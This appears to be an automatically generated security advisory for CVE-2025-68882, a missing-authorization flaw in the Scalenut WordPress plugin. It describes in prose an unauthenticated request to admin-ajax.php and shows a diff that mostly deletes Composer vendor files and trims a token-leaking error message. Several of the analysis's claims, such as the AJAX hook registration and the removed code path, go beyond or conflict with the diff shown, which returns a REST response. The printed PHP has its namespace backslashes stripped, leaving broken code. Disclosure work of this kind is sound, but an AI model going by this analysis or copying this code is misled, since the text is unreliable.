Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68882: Scalenut <= 1.1.3 – Missing Authorization (scalenut)

Plugin scalenut
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.1.3
Patched Version 1.1.4
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68882:
The Scalenut WordPress plugin, versions up to and including 1.1.3, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to trigger a specific plugin function, leading to unauthorized actions. The CVSS score of 5.3 (Medium) reflects the network-based attack vector and low attack complexity.

The root cause is a missing capability check on the `scnt_handle_ajax` function. This function is registered as an AJAX handler for both authenticated and unauthenticated users via the `wp_ajax_nopriv_` hook. The vulnerable code resides in `/scalenut/includes/scnt-api-handler.php`. The `scnt_handle_ajax` function (line 121) performs a token comparison but lacks any WordPress capability check (e.g., `current_user_can`) to verify if the requesting user has the necessary permissions to execute the action.

An attacker exploits this by sending a crafted POST request to the WordPress `/wp-admin/admin-ajax.php` endpoint. The request must set the `action` parameter to `scnt_handle_ajax`. The attacker can then supply arbitrary data in the request body, which the vulnerable function processes. The specific payload would depend on the internal logic of the `scnt_handle_ajax` function, which the diff does not fully reveal, but the attack vector is clearly the unauthenticated AJAX endpoint.

The patch removes the entire Composer vendor directory (`/scalenut/includes/vendor/`), updates a build file version hash, and modifies an error message in `scnt-api-handler.php`. The removal of the vendor directory suggests the fix may involve refactoring to eliminate the vulnerable endpoint or its dependencies entirely. The change to the error message (line 124) from revealing stored token details to a generic message is a secondary hardening measure. The primary mitigation is the removal of the code path that allowed unauthenticated access.

Successful exploitation allows an unauthenticated attacker to perform the action handled by the `scnt_handle_ajax` function. Atomic Edge research indicates this could lead to unauthorized data modification, information disclosure, or disruption of plugin functionality, depending on the specific operations the function performs. The impact is limited to the plugin’s scope and does not grant full site compromise.

Differential between vulnerable and patched code

Code Diff
--- a/scalenut/build/index.asset.php
+++ b/scalenut/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-plugins'), 'version' => '00e0406ed1dfa69cc51a');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-plugins'), 'version' => '3c0866cfbee5c748835d');
--- a/scalenut/includes/scnt-api-handler.php
+++ b/scalenut/includes/scnt-api-handler.php
@@ -121,7 +121,7 @@
       if (!SCNT_Utility::compare_tokens(get_option(SCNT_Utility::SCNT_ONE_TIME_TOKEN), $wp_token)) {
         // scnt_capture_exception("Invalid WP token detected: " . ($wp_token ?? 'null'));
         // Immediately capture the error and return response
-        scnt_capture_exception(new Exception("Invalid WP token detected: " . "store token: " . (get_option(SCNT_Utility::SCNT_ONE_TIME_TOKEN)) . " wp token: " . ($wp_token ?? 'null')));
+        scnt_capture_exception(new Exception("Invalid WP token detected: " . ($wp_token ?? 'null')));

         return new WP_REST_Response(
           ['status' => 'error', 'message' => 'The provided token is invalid or expired. Please try again.'],
--- a/scalenut/includes/vendor/autoload.php
+++ b/scalenut/includes/vendor/autoload.php
@@ -1,25 +0,0 @@
-<?php
-
-// autoload.php @generated by Composer
-
-if (PHP_VERSION_ID < 50600) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, $err);
-        } elseif (!headers_sent()) {
-            echo $err;
-        }
-    }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
-}
-
-require_once __DIR__ . '/composer/autoload_real.php';
-
-return ComposerAutoloaderInitab0b26e302b27451399c13eed885945f::getLoader();
--- a/scalenut/includes/vendor/composer/ClassLoader.php
+++ b/scalenut/includes/vendor/composer/ClassLoader.php
@@ -1,579 +0,0 @@
-<?php
-
-/*
- * This file is part of Composer.
- *
- * (c) Nils Adermann <naderman@naderman.de>
- *     Jordi Boggiano <j.boggiano@seld.be>
- *
- * For the full copyright and license information, please view the LICENSE
- * file that was distributed with this source code.
- */
-
-namespace ComposerAutoload;
-
-/**
- * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
- *
- *     $loader = new ComposerAutoloadClassLoader();
- *
- *     // register classes with namespaces
- *     $loader->add('SymfonyComponent', __DIR__.'/component');
- *     $loader->add('Symfony',           __DIR__.'/framework');
- *
- *     // activate the autoloader
- *     $loader->register();
- *
- *     // to enable searching the include path (eg. for PEAR packages)
- *     $loader->setUseIncludePath(true);
- *
- * In this example, if you try to use a class in the SymfonyComponent
- * namespace or one of its children (SymfonyComponentConsole for instance),
- * the autoloader will first look for the class under the component/
- * directory, and it will then fallback to the framework/ directory if not
- * found before giving up.
- *
- * This class is loosely based on the Symfony UniversalClassLoader.
- *
- * @author Fabien Potencier <fabien@symfony.com>
- * @author Jordi Boggiano <j.boggiano@seld.be>
- * @see    https://www.php-fig.org/psr/psr-0/
- * @see    https://www.php-fig.org/psr/psr-4/
- */
-class ClassLoader
-{
-    /** @var Closure(string):void */
-    private static $includeFile;
-
-    /** @var string|null */
-    private $vendorDir;
-
-    // PSR-4
-    /**
-     * @var array<string, array<string, int>>
-     */
-    private $prefixLengthsPsr4 = array();
-    /**
-     * @var array<string, list<string>>
-     */
-    private $prefixDirsPsr4 = array();
-    /**
-     * @var list<string>
-     */
-    private $fallbackDirsPsr4 = array();
-
-    // PSR-0
-    /**
-     * List of PSR-0 prefixes
-     *
-     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
-     *
-     * @var array<string, array<string, list<string>>>
-     */
-    private $prefixesPsr0 = array();
-    /**
-     * @var list<string>
-     */
-    private $fallbackDirsPsr0 = array();
-
-    /** @var bool */
-    private $useIncludePath = false;
-
-    /**
-     * @var array<string, string>
-     */
-    private $classMap = array();
-
-    /** @var bool */
-    private $classMapAuthoritative = false;
-
-    /**
-     * @var array<string, bool>
-     */
-    private $missingClasses = array();
-
-    /** @var string|null */
-    private $apcuPrefix;
-
-    /**
-     * @var array<string, self>
-     */
-    private static $registeredLoaders = array();
-
-    /**
-     * @param string|null $vendorDir
-     */
-    public function __construct($vendorDir = null)
-    {
-        $this->vendorDir = $vendorDir;
-        self::initializeIncludeClosure();
-    }
-
-    /**
-     * @return array<string, list<string>>
-     */
-    public function getPrefixes()
-    {
-        if (!empty($this->prefixesPsr0)) {
-            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
-        }
-
-        return array();
-    }
-
-    /**
-     * @return array<string, list<string>>
-     */
-    public function getPrefixesPsr4()
-    {
-        return $this->prefixDirsPsr4;
-    }
-
-    /**
-     * @return list<string>
-     */
-    public function getFallbackDirs()
-    {
-        return $this->fallbackDirsPsr0;
-    }
-
-    /**
-     * @return list<string>
-     */
-    public function getFallbackDirsPsr4()
-    {
-        return $this->fallbackDirsPsr4;
-    }
-
-    /**
-     * @return array<string, string> Array of classname => path
-     */
-    public function getClassMap()
-    {
-        return $this->classMap;
-    }
-
-    /**
-     * @param array<string, string> $classMap Class to filename map
-     *
-     * @return void
-     */
-    public function addClassMap(array $classMap)
-    {
-        if ($this->classMap) {
-            $this->classMap = array_merge($this->classMap, $classMap);
-        } else {
-            $this->classMap = $classMap;
-        }
-    }
-
-    /**
-     * Registers a set of PSR-0 directories for a given prefix, either
-     * appending or prepending to the ones previously set for this prefix.
-     *
-     * @param string              $prefix  The prefix
-     * @param list<string>|string $paths   The PSR-0 root directories
-     * @param bool                $prepend Whether to prepend the directories
-     *
-     * @return void
-     */
-    public function add($prefix, $paths, $prepend = false)
-    {
-        $paths = (array) $paths;
-        if (!$prefix) {
-            if ($prepend) {
-                $this->fallbackDirsPsr0 = array_merge(
-                    $paths,
-                    $this->fallbackDirsPsr0
-                );
-            } else {
-                $this->fallbackDirsPsr0 = array_merge(
-                    $this->fallbackDirsPsr0,
-                    $paths
-                );
-            }
-
-            return;
-        }
-
-        $first = $prefix[0];
-        if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = $paths;
-
-            return;
-        }
-        if ($prepend) {
-            $this->prefixesPsr0[$first][$prefix] = array_merge(
-                $paths,
-                $this->prefixesPsr0[$first][$prefix]
-            );
-        } else {
-            $this->prefixesPsr0[$first][$prefix] = array_merge(
-                $this->prefixesPsr0[$first][$prefix],
-                $paths
-            );
-        }
-    }
-
-    /**
-     * Registers a set of PSR-4 directories for a given namespace, either
-     * appending or prepending to the ones previously set for this namespace.
-     *
-     * @param string              $prefix  The prefix/namespace, with trailing '\'
-     * @param list<string>|string $paths   The PSR-4 base directories
-     * @param bool                $prepend Whether to prepend the directories
-     *
-     * @throws InvalidArgumentException
-     *
-     * @return void
-     */
-    public function addPsr4($prefix, $paths, $prepend = false)
-    {
-        $paths = (array) $paths;
-        if (!$prefix) {
-            // Register directories for the root namespace.
-            if ($prepend) {
-                $this->fallbackDirsPsr4 = array_merge(
-                    $paths,
-                    $this->fallbackDirsPsr4
-                );
-            } else {
-                $this->fallbackDirsPsr4 = array_merge(
-                    $this->fallbackDirsPsr4,
-                    $paths
-                );
-            }
-        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
-            // Register directories for a new namespace.
-            $length = strlen($prefix);
-            if ('\' !== $prefix[$length - 1]) {
-                throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
-            }
-            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = $paths;
-        } elseif ($prepend) {
-            // Prepend directories for an already registered namespace.
-            $this->prefixDirsPsr4[$prefix] = array_merge(
-                $paths,
-                $this->prefixDirsPsr4[$prefix]
-            );
-        } else {
-            // Append directories for an already registered namespace.
-            $this->prefixDirsPsr4[$prefix] = array_merge(
-                $this->prefixDirsPsr4[$prefix],
-                $paths
-            );
-        }
-    }
-
-    /**
-     * Registers a set of PSR-0 directories for a given prefix,
-     * replacing any others previously set for this prefix.
-     *
-     * @param string              $prefix The prefix
-     * @param list<string>|string $paths  The PSR-0 base directories
-     *
-     * @return void
-     */
-    public function set($prefix, $paths)
-    {
-        if (!$prefix) {
-            $this->fallbackDirsPsr0 = (array) $paths;
-        } else {
-            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
-        }
-    }
-
-    /**
-     * Registers a set of PSR-4 directories for a given namespace,
-     * replacing any others previously set for this namespace.
-     *
-     * @param string              $prefix The prefix/namespace, with trailing '\'
-     * @param list<string>|string $paths  The PSR-4 base directories
-     *
-     * @throws InvalidArgumentException
-     *
-     * @return void
-     */
-    public function setPsr4($prefix, $paths)
-    {
-        if (!$prefix) {
-            $this->fallbackDirsPsr4 = (array) $paths;
-        } else {
-            $length = strlen($prefix);
-            if ('\' !== $prefix[$length - 1]) {
-                throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
-            }
-            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
-        }
-    }
-
-    /**
-     * Turns on searching the include path for class files.
-     *
-     * @param bool $useIncludePath
-     *
-     * @return void
-     */
-    public function setUseIncludePath($useIncludePath)
-    {
-        $this->useIncludePath = $useIncludePath;
-    }
-
-    /**
-     * Can be used to check if the autoloader uses the include path to check
-     * for classes.
-     *
-     * @return bool
-     */
-    public function getUseIncludePath()
-    {
-        return $this->useIncludePath;
-    }
-
-    /**
-     * Turns off searching the prefix and fallback directories for classes
-     * that have not been registered with the class map.
-     *
-     * @param bool $classMapAuthoritative
-     *
-     * @return void
-     */
-    public function setClassMapAuthoritative($classMapAuthoritative)
-    {
-        $this->classMapAuthoritative = $classMapAuthoritative;
-    }
-
-    /**
-     * Should class lookup fail if not found in the current class map?
-     *
-     * @return bool
-     */
-    public function isClassMapAuthoritative()
-    {
-        return $this->classMapAuthoritative;
-    }
-
-    /**
-     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
-     *
-     * @param string|null $apcuPrefix
-     *
-     * @return void
-     */
-    public function setApcuPrefix($apcuPrefix)
-    {
-        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
-    }
-
-    /**
-     * The APCu prefix in use, or null if APCu caching is not enabled.
-     *
-     * @return string|null
-     */
-    public function getApcuPrefix()
-    {
-        return $this->apcuPrefix;
-    }
-
-    /**
-     * Registers this instance as an autoloader.
-     *
-     * @param bool $prepend Whether to prepend the autoloader or not
-     *
-     * @return void
-     */
-    public function register($prepend = false)
-    {
-        spl_autoload_register(array($this, 'loadClass'), true, $prepend);
-
-        if (null === $this->vendorDir) {
-            return;
-        }
-
-        if ($prepend) {
-            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
-        } else {
-            unset(self::$registeredLoaders[$this->vendorDir]);
-            self::$registeredLoaders[$this->vendorDir] = $this;
-        }
-    }
-
-    /**
-     * Unregisters this instance as an autoloader.
-     *
-     * @return void
-     */
-    public function unregister()
-    {
-        spl_autoload_unregister(array($this, 'loadClass'));
-
-        if (null !== $this->vendorDir) {
-            unset(self::$registeredLoaders[$this->vendorDir]);
-        }
-    }
-
-    /**
-     * Loads the given class or interface.
-     *
-     * @param  string    $class The name of the class
-     * @return true|null True if loaded, null otherwise
-     */
-    public function loadClass($class)
-    {
-        if ($file = $this->findFile($class)) {
-            $includeFile = self::$includeFile;
-            $includeFile($file);
-
-            return true;
-        }
-
-        return null;
-    }
-
-    /**
-     * Finds the path to the file where the class is defined.
-     *
-     * @param string $class The name of the class
-     *
-     * @return string|false The path if found, false otherwise
-     */
-    public function findFile($class)
-    {
-        // class map lookup
-        if (isset($this->classMap[$class])) {
-            return $this->classMap[$class];
-        }
-        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
-            return false;
-        }
-        if (null !== $this->apcuPrefix) {
-            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
-            if ($hit) {
-                return $file;
-            }
-        }
-
-        $file = $this->findFileWithExtension($class, '.php');
-
-        // Search for Hack files if we are running on HHVM
-        if (false === $file && defined('HHVM_VERSION')) {
-            $file = $this->findFileWithExtension($class, '.hh');
-        }
-
-        if (null !== $this->apcuPrefix) {
-            apcu_add($this->apcuPrefix.$class, $file);
-        }
-
-        if (false === $file) {
-            // Remember that this class does not exist.
-            $this->missingClasses[$class] = true;
-        }
-
-        return $file;
-    }
-
-    /**
-     * Returns the currently registered loaders keyed by their corresponding vendor directories.
-     *
-     * @return array<string, self>
-     */
-    public static function getRegisteredLoaders()
-    {
-        return self::$registeredLoaders;
-    }
-
-    /**
-     * @param  string       $class
-     * @param  string       $ext
-     * @return string|false
-     */
-    private function findFileWithExtension($class, $ext)
-    {
-        // PSR-4 lookup
-        $logicalPathPsr4 = strtr($class, '\', DIRECTORY_SEPARATOR) . $ext;
-
-        $first = $class[0];
-        if (isset($this->prefixLengthsPsr4[$first])) {
-            $subPath = $class;
-            while (false !== $lastPos = strrpos($subPath, '\')) {
-                $subPath = substr($subPath, 0, $lastPos);
-                $search = $subPath . '\';
-                if (isset($this->prefixDirsPsr4[$search])) {
-                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
-                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
-                        if (file_exists($file = $dir . $pathEnd)) {
-                            return $file;
-                        }
-                    }
-                }
-            }
-        }
-
-        // PSR-4 fallback dirs
-        foreach ($this->fallbackDirsPsr4 as $dir) {
-            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
-                return $file;
-            }
-        }
-
-        // PSR-0 lookup
-        if (false !== $pos = strrpos($class, '\')) {
-            // namespaced class name
-            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
-                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
-        } else {
-            // PEAR-like class name
-            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
-        }
-
-        if (isset($this->prefixesPsr0[$first])) {
-            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
-                if (0 === strpos($class, $prefix)) {
-                    foreach ($dirs as $dir) {
-                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
-                            return $file;
-                        }
-                    }
-                }
-            }
-        }
-
-        // PSR-0 fallback dirs
-        foreach ($this->fallbackDirsPsr0 as $dir) {
-            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
-                return $file;
-            }
-        }
-
-        // PSR-0 include paths.
-        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
-            return $file;
-        }
-
-        return false;
-    }
-
-    /**
-     * @return void
-     */
-    private static function initializeIncludeClosure()
-    {
-        if (self::$includeFile !== null) {
-            return;
-        }
-
-        /**
-         * Scope isolated include.
-         *
-         * Prevents access to $this/self from included files.
-         *
-         * @param  string $file
-         * @return void
-         */
-        self::$includeFile = Closure::bind(static function($file) {
-            include $file;
-        }, null, null);
-    }
-}
--- a/scalenut/includes/vendor/composer/InstalledVersions.php
+++ b/scalenut/includes/vendor/composer/InstalledVersions.php
@@ -1,378 +0,0 @@
-<?php
-
-/*
- * This file is part of Composer.
- *
- * (c) Nils Adermann <naderman@naderman.de>
- *     Jordi Boggiano <j.boggiano@seld.be>
- *
- * For the full copyright and license information, please view the LICENSE
- * file that was distributed with this source code.
- */
-
-namespace Composer;
-
-use ComposerAutoloadClassLoader;
-use ComposerSemverVersionParser;
-
-/**
- * This class is copied in every Composer installed project and available to all
- *
- * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
- *
- * To require its presence, you can require `composer-runtime-api ^2.0`
- *
- * @final
- */
-class InstalledVersions
-{
-    /**
-     * @var mixed[]|null
-     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
-     */
-    private static $installed;
-
-    /**
-     * @var bool
-     */
-    private static $installedIsLocalDir;
-
-    /**
-     * @var bool|null
-     */
-    private static $canGetVendors;
-
-    /**
-     * @var array[]
-     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
-     */
-    private static $installedByVendor = array();
-
-    /**
-     * Returns a list of all package names which are present, either by being installed, replaced or provided
-     *
-     * @return string[]
-     * @psalm-return list<string>
-     */
-    public static function getInstalledPackages()
-    {
-        $packages = array();
-        foreach (self::getInstalled() as $installed) {
-            $packages[] = array_keys($installed['versions']);
-        }
-
-        if (1 === count($packages)) {
-            return $packages[0];
-        }
-
-        return array_keys(array_flip(call_user_func_array('array_merge', $packages)));
-    }
-
-    /**
-     * Returns a list of all package names with a specific type e.g. 'library'
-     *
-     * @param  string   $type
-     * @return string[]
-     * @psalm-return list<string>
-     */
-    public static function getInstalledPackagesByType($type)
-    {
-        $packagesByType = array();
-
-        foreach (self::getInstalled() as $installed) {
-            foreach ($installed['versions'] as $name => $package) {
-                if (isset($package['type']) && $package['type'] === $type) {
-                    $packagesByType[] = $name;
-                }
-            }
-        }
-
-        return $packagesByType;
-    }
-
-    /**
-     * Checks whether the given package is installed
-     *
-     * This also returns true if the package name is provided or replaced by another package
-     *
-     * @param  string $packageName
-     * @param  bool   $includeDevRequirements
-     * @return bool
-     */
-    public static function isInstalled($packageName, $includeDevRequirements = true)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
-            }
-        }
-
-        return false;
-    }
-
-    /**
-     * Checks whether the given package satisfies a version constraint
-     *
-     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
-     *
-     *   ComposerInstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
-     *
-     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
-     * @param  string        $packageName
-     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
-     * @return bool
-     */
-    public static function satisfies(VersionParser $parser, $packageName, $constraint)
-    {
-        $constraint = $parser->parseConstraints((string) $constraint);
-        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));
-
-        return $provided->matches($constraint);
-    }
-
-    /**
-     * Returns a version constraint representing all the range(s) which are installed for a given package
-     *
-     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
-     * whether a given version of a package is installed, and not just whether it exists
-     *
-     * @param  string $packageName
-     * @return string Version constraint usable with composer/semver
-     */
-    public static function getVersionRanges($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            $ranges = array();
-            if (isset($installed['versions'][$packageName]['pretty_version'])) {
-                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
-            }
-            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
-                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
-            }
-            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
-                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
-            }
-            if (array_key_exists('provided', $installed['versions'][$packageName])) {
-                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
-            }
-
-            return implode(' || ', $ranges);
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @param  string      $packageName
-     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
-     */
-    public static function getVersion($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            if (!isset($installed['versions'][$packageName]['version'])) {
-                return null;
-            }
-
-            return $installed['versions'][$packageName]['version'];
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @param  string      $packageName
-     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
-     */
-    public static function getPrettyVersion($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
-                return null;
-            }
-
-            return $installed['versions'][$packageName]['pretty_version'];
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @param  string      $packageName
-     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
-     */
-    public static function getReference($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            if (!isset($installed['versions'][$packageName]['reference'])) {
-                return null;
-            }
-
-            return $installed['versions'][$packageName]['reference'];
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @param  string      $packageName
-     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
-     */
-    public static function getInstallPath($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @return array
-     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
-     */
-    public static function getRootPackage()
-    {
-        $installed = self::getInstalled();
-
-        return $installed[0]['root'];
-    }
-
-    /**
-     * Returns the raw installed.php data for custom implementations
-     *
-     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
-     * @return array[]
-     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
-     */
-    public static function getRawData()
-    {
-        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);
-
-        if (null === self::$installed) {
-            // only require the installed.php file if this file is loaded from its dumped location,
-            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
-            if (substr(__DIR__, -8, 1) !== 'C') {
-                self::$installed = include __DIR__ . '/installed.php';
-            } else {
-                self::$installed = array();
-            }
-        }
-
-        return self::$installed;
-    }
-
-    /**
-     * Returns the raw data of all installed.php which are currently loaded for custom implementations
-     *
-     * @return array[]
-     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
-     */
-    public static function getAllRawData()
-    {
-        return self::getInstalled();
-    }
-
-    /**
-     * Lets you reload the static array from another file
-     *
-     * This is only useful for complex integrations in which a project needs to use
-     * this class but then also needs to execute another project's autoloader in process,
-     * and wants to ensure both projects have access to their version of installed.php.
-     *
-     * A typical case would be PHPUnit, where it would need to make sure it reads all
-     * the data it needs from this class, then call reload() with
-     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
-     * the project in which it runs can then also use this class safely, without
-     * interference between PHPUnit's dependencies and the project's dependencies.
-     *
-     * @param  array[] $data A vendor/composer/installed.php data set
-     * @return void
-     *
-     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
-     */
-    public static function reload($data)
-    {
-        self::$installed = $data;
-        self::$installedByVendor = array();
-
-        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
-        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
-        // so we have to assume it does not, and that may result in duplicate data being returned when listing
-        // all installed packages for example
-        self::$installedIsLocalDir = false;
-    }
-
-    /**
-     * @return array[]
-     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
-     */
-    private static function getInstalled()
-    {
-        if (null === self::$canGetVendors) {
-            self::$canGetVendors = method_exists('ComposerAutoloadClassLoader', 'getRegisteredLoaders');
-        }
-
-        $installed = array();
-        $copiedLocalDir = false;
-
-        if (self::$canGetVendors) {
-            $selfDir = strtr(__DIR__, '\', '/');
-            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
-                $vendorDir = strtr($vendorDir, '\', '/');
-                if (isset(self::$installedByVendor[$vendorDir])) {
-                    $installed[] = self::$installedByVendor[$vendorDir];
-                } elseif (is_file($vendorDir.'/composer/installed.php')) {
-                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
-                    $required = require $vendorDir.'/composer/installed.php';
-                    self::$installedByVendor[$vendorDir] = $required;
-                    $installed[] = $required;
-                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
-                        self::$installed = $required;
-                        self::$installedIsLocalDir = true;
-                    }
-                }
-                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
-                    $copiedLocalDir = true;
-                }
-            }
-        }
-
-        if (null === self::$installed) {
-            // only require the installed.php file if this file is loaded from its dumped location,
-            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
-            if (substr(__DIR__, -8, 1) !== 'C') {
-                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
-                $required = require __DIR__ . '/installed.php';
-                self::$installed = $required;
-            } else {
-                self::$installed = array();
-            }
-        }
-
-        if (self::$installed !== array() && !$copiedLocalDir) {
-            $installed[] = self::$installed;
-        }
-
-        return $installed;
-    }
-}
--- a/scalenut/includes/vendor/composer/autoload_classmap.php
+++ b/scalenut/includes/vendor/composer/autoload_classmap.php
@@ -1,10 +0,0 @@
